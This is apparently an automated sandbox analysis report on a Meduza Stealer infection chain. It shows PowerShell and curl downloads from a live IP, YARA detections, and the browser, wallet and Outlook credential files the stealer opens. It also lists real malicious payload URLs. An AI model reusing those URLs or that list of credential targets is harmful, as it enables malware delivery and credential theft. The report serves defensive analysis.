Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\Temp\io12j1es.2tm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Temp\io12j1es.2tm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\Temp\io12j1es.2tm.exe

Key value queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\TimeZoneInformation TimeZoneKeyName

Jump to behavior

Source: C:\Windows\Temp\Launcher.exe

Code function: 6_2_00B6FCE5 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

6_2_00B6FCE5

Source: C:\Windows\Temp\Launcher.exe

Code function: 6_2_00B6C9DB LookupAccountNameW,GetLastError,malloc,LookupAccountNameW,GetLastError,free,

6_2_00B6C9DB

Source: C:\Windows\Temp\io12j1es.2tm.exe

Code function: 12_2_00007FF6F1DD76A0 GetTimeZoneInformation,

12_2_00007FF6F1DD76A0

Source: C:\Windows\Temp\Launcher.exe

Code function: 6_2_00B5B4F0 __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z,__EH_prolog3,GetVersionExW,#1202,#538,#800,#6112,#2613,#384,#2089,#1197,#520,#986,#4604,#1197,#5977,

6_2_00B5B4F0

Source: C:\Windows\Temp\Launcher.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected CredGrabber

Source: Yara match

File source: Process Memory Space: io12j1es.2tm.exe PID: 7540, type: MEMORYSTR

Yara detected Meduza Stealer

Source: Yara match	File source: 12.0.io12j1es.2tm.exe.7ff6f1d50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.io12j1es.2tm.exe.7ff6f1d50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: Process Memory Space: io12j1es.2tm.exe PID: 7540, type: MEMORYSTR
Source: Yara match	File source: C:\Windows\Temp\io12j1es.2tm.exe, type: DROPPED

Found many strings related to Crypto-Wallets (likely being stolen)

Source: io12j1es.2tm.exe, 0000000C.00000002.2109507353.000001F1574BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Electrum-LTC\config
Source: io12j1es.2tm.exe, 0000000C.00000002.2109507353.000001F1574BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ElectronCash\wallets
Source: io12j1es.2tm.exe, 0000000C.00000003.1927283382.000001F157556000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Ny1aaXAgMjMuMDEgKHg2NCkgWzIzLjAxXQpNb3ppbGxhIEZpcmVmb3ggKHg2NCBlbi1VUykgWzExOC4wLjFdCk1vemlsbGEgTWFpbnRlbmFuY2UgU2VydmljZSBbMTE4LjAuMV0KTWljcm9zb2Z0IE9mZmljZSBQcm9mZXNzaW9uYWwgUGx1cyAyMDE5IC0gZW4tdXMgWzE2LjAuMTY4MjcuMjAxMzBdCk1pY3Jvc29mdCBWaXN1YWwgQysrIDIwMjIgWDY0IEFkZGl0aW9uYWwgUnVudGltZSAtIDE0LjM2LjMyNTMyIFsxNC4zNi4zMjUzMl0KT2ZmaWNlIDE2IENsaWNrLXRvLVJ1biBMaWNlbnNpbmcgQ29tcG9uZW50IFsxNi4wLjE2ODI3LjIwMTMwXQpPZmZpY2UgMTYgQ2xpY2stdG8tUnVuIEV4dGVuc2liaWxpdHkgQ29tcG9uZW50IDY0LWJpdCBSZWdpc3RyYXRpb24gWzE2LjAuMTY4MjcuMjAwNTZdCkFkb2JlIEFjcm9iYXQgKDY0LWJpdCkgWzIzLjAwNi4yMDMyMF0KTWljcm9zb2Z0IFZpc3VhbCBDKysgMjAyMiBYNjQgTWluaW11bSBSdW50aW1lIC0gMTQuMzYuMzI1MzIgWzE0LjM2LjMyNTMyXQpHb29nbGUgQ2hyb21lIFsxMTcuMC41OTM4LjEzMl0KTWljcm9zb2Z0IEVkZ2UgWzExNy4wLjIwNDUuNDddCk1pY3Jvc29mdCBFZGdlIFVwZGF0ZSBbMS4zLjE3Ny4xMV0KTWljcm9zb2Z0IEVkZ2UgV2ViVmlldzIgUnVudGltZSBbMTE3LjAuMjA0NS40N10KSmF2YSBBdXRvIFVwZGF0ZXIgWzIuOC4zODEuOV0KSmF2YSA4IFVwZGF0ZSAzODEgWzguMC4zODEwLjldCk1pY3Jvc29mdCBWaXN1YWwgQysrIDIwMTUtMjAyMiBSZWRpc3RyaWJ1dGFibGUgKHg2NCkgLSAxNC4zNi4zMjUzMiBbMTQuMzYuMzI1MzIuMF0KT2ZmaWNlIDE2IENsaWNrLXRvLVJ1biBFeHRlbnNpYmlsaXR5IENvbXBvbmVudCBbMTYuMC4xNjgyNy4yMDEzMF0K
Source: io12j1es.2tm.exe, 0000000C.00000002.2109507353.000001F1574BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Exodus\exodus.wallet
Source: io12j1es.2tm.exe, 0000000C.00000003.1927283382.000001F157584000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\Local State
Source: io12j1es.2tm.exe, 0000000C.00000002.2109507353.000001F1574BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Ethereum\keystore
Source: powershell.exe, 00000005.00000002.1783191813.0000000006F50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: sqlcolumnencryptionkeystoreprovider

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Windows\Temp\io12j1es.2tm.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Temp\io12j1es.2tm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Windows\Temp\io12j1es.2tm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\Temp\io12j1es.2tm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Temp\io12j1es.2tm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\LOG.old	Jump to behavior
Source: C:\Windows\Temp\io12j1es.2tm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\Temp\io12j1es.2tm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.log	Jump to behavior
Source: C:\Windows\Temp\io12j1es.2tm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Temp\io12j1es.2tm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\LOCK	Jump to behavior
Source: C:\Windows\Temp\io12j1es.2tm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\Temp\io12j1es.2tm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Temp\io12j1es.2tm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\CURRENT	Jump to behavior
Source: C:\Windows\Temp\io12j1es.2tm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Windows\Temp\io12j1es.2tm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\LOG	Jump to behavior
Source: C:\Windows\Temp\io12j1es.2tm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\MANIFEST-000001	Jump to behavior
Source: C:\Windows\Temp\io12j1es.2tm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\Temp\io12j1es.2tm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Windows\Temp\io12j1es.2tm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\Temp\io12j1es.2tm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Temp\io12j1es.2tm.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Remote Access Functionality

Yara detected CredGrabber

Source: Yara match

File source: Process Memory Space: io12j1es.2tm.exe PID: 7540, type: MEMORYSTR

Yara detected Meduza Stealer

Source: Yara match	File source: 12.0.io12j1es.2tm.exe.7ff6f1d50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.io12j1es.2tm.exe.7ff6f1d50000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: Process Memory Space: io12j1es.2tm.exe PID: 7540, type: MEMORYSTR
Source: Yara match	File source: C:\Windows\Temp\io12j1es.2tm.exe, type: DROPPED

Source: C:\Windows\Temp\Launcher.exe

Code function: 6_2_00B64899 #1662,#540,lstrcpyW,CreateBindCtx,MkParseDisplayName,#2644,#2810,#800,lstrlenW,#2810,#2644,#800,

6_2_00B64899

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Native API	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	11 Disable or Modify Tools	1 OS Credential Dumping	12 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	2 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 PowerShell	Logon Script (Windows)	1 Access Token Manipulation	2 Obfuscated Files or Information	Security Account Manager	4 File and Directory Discovery	SMB/Windows Admin Shares	1 Screen Capture	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	11 Process Injection	1 DLL Side-Loading	NTDS	27 System Information Discovery	Distributed Component Object Model	11 Email Collection	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Masquerading	LSA Secrets	131 Security Software Discovery	SSH	2 Clipboard Data	23 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	31 Virtualization/Sandbox Evasion	Cached Domain Credentials	31 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Access Token Manipulation	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Process Injection	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 System Network Configuration Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
script.hta	15%	Virustotal		Browse
script.hta	8%	ReversingLabs	Text.Malware.Boxter

Dropped Files

Source	Detection	Scanner	Label
C:\Windows\Temp\io12j1es.2tm.exe	100%	Joe Sandbox ML
C:\Windows\Temp\Launcher.exe	0%	ReversingLabs
C:\Windows\Temp\io12j1es.2tm.exe	83%	ReversingLabs	Win64.Trojan.MeduzaStealer
C:\Windows\Temp\iviewers.dll	21%	ReversingLabs	Win32.Trojan.Sonbokli

Source	Detection	Scanner	Label
http://crl.mD	0%	Avira URL Cloud	safe
http://147.45.47.15/script.ps11gU	0%	Avira URL Cloud	safe
http://147.45.47.15/duschno.exe	100%	Avira URL Cloud	malware
http://147.45.47.15/script.ps1	0%	Avira URL Cloud	safe
http://147.45.47.15D	0%	Avira URL Cloud	safe
http://147.45.47.15	0%	Avira URL Cloud	safe
http://147.45.47.15/Launcher.exe	0%	Avira URL Cloud	safe
http://147.45.47.15/iviewers.dll	0%	Avira URL Cloud	safe
http://147.45.47.15/iviewers.dllXR	0%	Avira URL Cloud	safe
http://147.45.4zY	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
api.ipify.org	104.26.12.205	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://147.45.47.15/script.ps1	true	Avira URL Cloud: safe	unknown
http://147.45.47.15/duschno.exe	true	Avira URL Cloud: malware	unknown
https://api.ipify.org/	false		high
http://147.45.47.15/iviewers.dll	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	io12j1es.2tm.exe, 0000000C.00000003.1898442562.000001F15A02E000.00000004.00000020.00020000.00000000.sdmp, io12j1es.2tm.exe, 0000000C.00000003.1898442562.000001F15A016000.00000004.00000020.00020000.00000000.sdmp, io12j1es.2tm.exe, 0000000C.00000003.1897946678.000001F15A015000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	io12j1es.2tm.exe, 0000000C.00000003.1906316117.000001F15926F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	io12j1es.2tm.exe, 0000000C.00000003.1898442562.000001F15A02E000.00000004.00000020.00020000.00000000.sdmp, io12j1es.2tm.exe, 0000000C.00000003.1898442562.000001F15A016000.00000004.00000020.00020000.00000000.sdmp, io12j1es.2tm.exe, 0000000C.00000003.1897946678.000001F15A015000.00000004.00000020.00020000.00000000.sdmp	false		high
https://go.microsoft.co	io12j1es.2tm.exe, 0000000C.00000003.1927283382.000001F157584000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000007.00000002.1805117636.0000000005679000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	io12j1es.2tm.exe, 0000000C.00000003.1923710283.000001F15754F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	io12j1es.2tm.exe, 0000000C.00000003.1898442562.000001F15A02E000.00000004.00000020.00020000.00000000.sdmp, io12j1es.2tm.exe, 0000000C.00000003.1898724678.000001F159FA8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	io12j1es.2tm.exe, 0000000C.00000003.1899100426.000001F15A0A9000.00000004.00000020.00020000.00000000.sdmp, io12j1es.2tm.exe, 0000000C.00000003.1899100426.000001F15A07F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://147.45.47.15/Launcher.exe	powershell.exe, 00000005.00000002.1773560054.0000000004694000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1773560054.0000000004950000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.ipify.org	io12j1es.2tm.exe, 0000000C.00000002.2109507353.000001F1574C9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	io12j1es.2tm.exe, 0000000C.00000003.1923710283.000001F15754F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	io12j1es.2tm.exe, 0000000C.00000003.1899100426.000001F15A00E000.00000004.00000020.00020000.00000000.sdmp, io12j1es.2tm.exe, 0000000C.00000003.1899100426.000001F15A01F000.00000004.00000020.00020000.00000000.sdmp, io12j1es.2tm.exe, 0000000C.00000003.1899100426.000001F15A038000.00000004.00000020.00020000.00000000.sdmp, io12j1es.2tm.exe, 0000000C.00000003.1900063983.000001F159FA9000.00000004.00000020.00020000.00000000.sdmp, io12j1es.2tm.exe, 0000000C.00000003.1899926649.000001F157550000.00000004.00000020.00020000.00000000.sdmp, io12j1es.2tm.exe, 0000000C.00000003.1899100426.000001F15A084000.00000004.00000020.00020000.00000000.sdmp, io12j1es.2tm.exe, 0000000C.00000003.1899100426.000001F15A003000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	io12j1es.2tm.exe, 0000000C.00000003.1898442562.000001F15A02E000.00000004.00000020.00020000.00000000.sdmp, io12j1es.2tm.exe, 0000000C.00000003.1898724678.000001F159FA8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 00000007.00000002.1805117636.0000000005679000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000005.00000002.1779711117.00000000055A9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1805117636.0000000005679000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000005.00000002.1773560054.0000000004541000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1797529173.0000000004611000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.mD	powershell.exe, 00000005.00000002.1781715663.0000000006C81000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	io12j1es.2tm.exe, 0000000C.00000003.1923710283.000001F15754F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://nuget.org/NuGet.exe	powershell.exe, 00000005.00000002.1779711117.00000000055A9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1805117636.0000000005679000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	io12j1es.2tm.exe, 0000000C.00000003.1923710283.000001F15754F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	io12j1es.2tm.exe, 0000000C.00000003.1898442562.000001F15A02E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000007.00000002.1797529173.0000000004766000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000007.00000002.1797529173.0000000004766000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000007.00000002.1797529173.0000000004766000.00000004.00000800.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 00000005.00000002.1773560054.0000000004D72000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000007.00000002.1805117636.0000000005679000.00000004.00000800.00020000.00000000.sdmp	false		high
http://147.45.47.15D	powershell.exe, 00000005.00000002.1773560054.0000000004950000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	io12j1es.2tm.exe, 0000000C.00000003.1898442562.000001F15A02E000.00000004.00000020.00020000.00000000.sdmp, io12j1es.2tm.exe, 0000000C.00000003.1898442562.000001F15A016000.00000004.00000020.00020000.00000000.sdmp, io12j1es.2tm.exe, 0000000C.00000003.1897946678.000001F15A015000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	io12j1es.2tm.exe, 0000000C.00000003.1923710283.000001F15754F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://aka.ms/pscore6lBkq	powershell.exe, 00000005.00000002.1773560054.0000000004541000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1797529173.0000000004611000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	io12j1es.2tm.exe, 0000000C.00000003.1899100426.000001F15A0A9000.00000004.00000020.00020000.00000000.sdmp, io12j1es.2tm.exe, 0000000C.00000003.1899100426.000001F15A07F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://147.45.47.15/script.ps11gU	curl.exe, 00000004.00000002.1738755036.0000000002C50000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	io12j1es.2tm.exe, 0000000C.00000003.1898442562.000001F15A02E000.00000004.00000020.00020000.00000000.sdmp, io12j1es.2tm.exe, 0000000C.00000003.1898724678.000001F159FA8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	io12j1es.2tm.exe, 0000000C.00000003.1906316117.000001F15926F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000007.00000002.1797529173.0000000004766000.00000004.00000800.00020000.00000000.sdmp	false		high
